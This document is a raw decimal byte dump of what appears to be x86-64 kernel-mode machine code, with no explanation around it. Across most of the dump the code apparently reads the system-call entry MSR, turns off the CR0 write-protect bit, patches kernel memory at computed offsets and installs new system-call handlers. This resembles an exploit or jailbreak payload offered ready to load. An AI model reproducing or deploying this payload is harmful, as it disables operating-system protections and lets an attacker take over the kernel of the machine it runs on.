112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,245,194,100,0,41,202,137,144,49,193,100,0,72,141,21,214,254,255,255,129,234,195,208,100,0,41,202,137,144,255,206,100,0,72,141,21,73,249,255,255,129,234,58,239,98,0,41,202,137,144,118,237,98,0,72,141,21,146,253,255,255,129,234,194,30,98,0,41,202,137,144,254,28,98,0,72,141,21,17,250,255,255,68,141,130,210,248,149,255,129,234,95,9,106,0,65,41,200,41,202,68,137,128,106,5,106,0,137,144,155,7,106,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,147,37,100,0,41,209,137,136,207,35,100,0,72,141,13,36,251,255,255,68,141,129,213,210,155,255,129,233,14,58,100,0,41,209,65,41,208,137,136,74,56,100,0,72,141,13,91,252,255,255,129,233,2,7,100,0,68,137,128,103,43,100,0,41,209,137,136,62,5,100,0,72,141,13,90,254,255,255,129,233,61,19,100,0,41,209,137,136,121,17,100,0,72,141,13,222,251,255,255,129,233,65,36,100,0,41,209,137,136,125,34,100,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,48,142,82,1,72,137,21,193,16,0,0,72,141,144,88,52,88,1,72,137,21,171,16,0,0,72,141,144,24,113,189,1,72,137,21,149,16,0,0,72,141,144,120,96,100,2,72,137,21,127,16,0,0,72,141,144,128,200,102,2,72,137,21,105,16,0,0,72,141,144,184,254,100,2,72,137,21,83,16,0,0,72,141,144,200,254,100,2,72,137,21,61,16,0,0,72,141,144,64,62,101,2,72,137,21,39,16,0,0,72,141,144,72,70,101,2,72,137,21,17,16,0,0,72,141,144,128,190,100,2,72,137,21,251,15,0,0,72,141,144,0,196,15,1,72,137,21,229,15,0,0,72,141,144,192,240,32,0,72,137,21,143,16,0,0,72,141,144,80,173,43,0,72,137,21,121,16,0,0,72,141,144,16,175,43,0,72,137,21,99,16,0,0,72,141,144,128,88,11,0,72,137,21,77,16,0,0,72,141,144,64,90,11,0,72,137,21,55,16,0,0,72,141,144,96,98,69,0,72,137,21,33,16,0,0,72,141,144,96,27,8,0,72,137,21,11,16,0,0,72,141,144,32,28,8,0,72,137,21,245,15,0,0,72,141,144,48,63,58,0,72,137,21,223,15,0,0,72,141,144,80,101,61,0,72,137,21,201,15,0,0,72,141,144,128,10,39,0,72,137,21,179,15,0,0,72,141,144,176,211,21,0,72,137,21,157,15,0,0,72,141,144,16,210,30,0,72,137,21,135,15,0,0,72,141,144,208,52,41,0,72,137,21,25,15,0,0,72,141,144,32,247,98,0,72,137,21,3,15,0,0,72,141,144,208,23,100,0,72,137,21,237,14,0,0,72,141,144,16,32,100,0,72,137,21,215,14,0,0,72,141,144,240,224,99,0,72,137,21,193,14,0,0,72,141,144,48,24,100,0,72,137,21,171,14,0,0,72,141,144,240,147,98,0,72,137,21,109,14,0,0,72,141,144,128,14,98,0,72,137,21,71,14,0,0,72,141,144,64,11,98,0,72,137,21,65,14,0,0,72,141,144,208,236,98,0,72,137,21,59,14,0,0,72,141,144,16,7,98,0,72,137,21,21,14,0,0,72,141,144,112,174,97,0,72,137,21,47,14,0,0,72,141,144,128,112,72,0,72,137,21,65,14,0,0,72,141,144,224,55,38,0,72,137,21,35,14,0,0,72,141,144,16,58,38,0,72,137,21,13,14,0,0,72,141,144,208,59,7,0,72,137,21,15,14,0,0,72,141,144,144,25,19,0,72,137,21,145,13,0,0,72,141,144,112,131,20,0,72,137,21,171,13,0,0,72,141,144,160,129,20,0,72,137,21,149,13,0,0,72,141,144,16,133,20,0,72,137,21,127,13,0,0,72,141,144,96,133,20,0,72,5,80,139,20,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,19,7,50,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,223,58,61,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,96,110,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,80,111,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,87,30,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,192,68,60,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,49,195,251,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,145,235,159,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,141,124,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,233,184,114,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,118,153,56,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,47,53,212,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,192,136,24,0,77,137,224,72,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,192,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,32,213,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,200,197,15,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,230,197,15,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,49,200,1,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,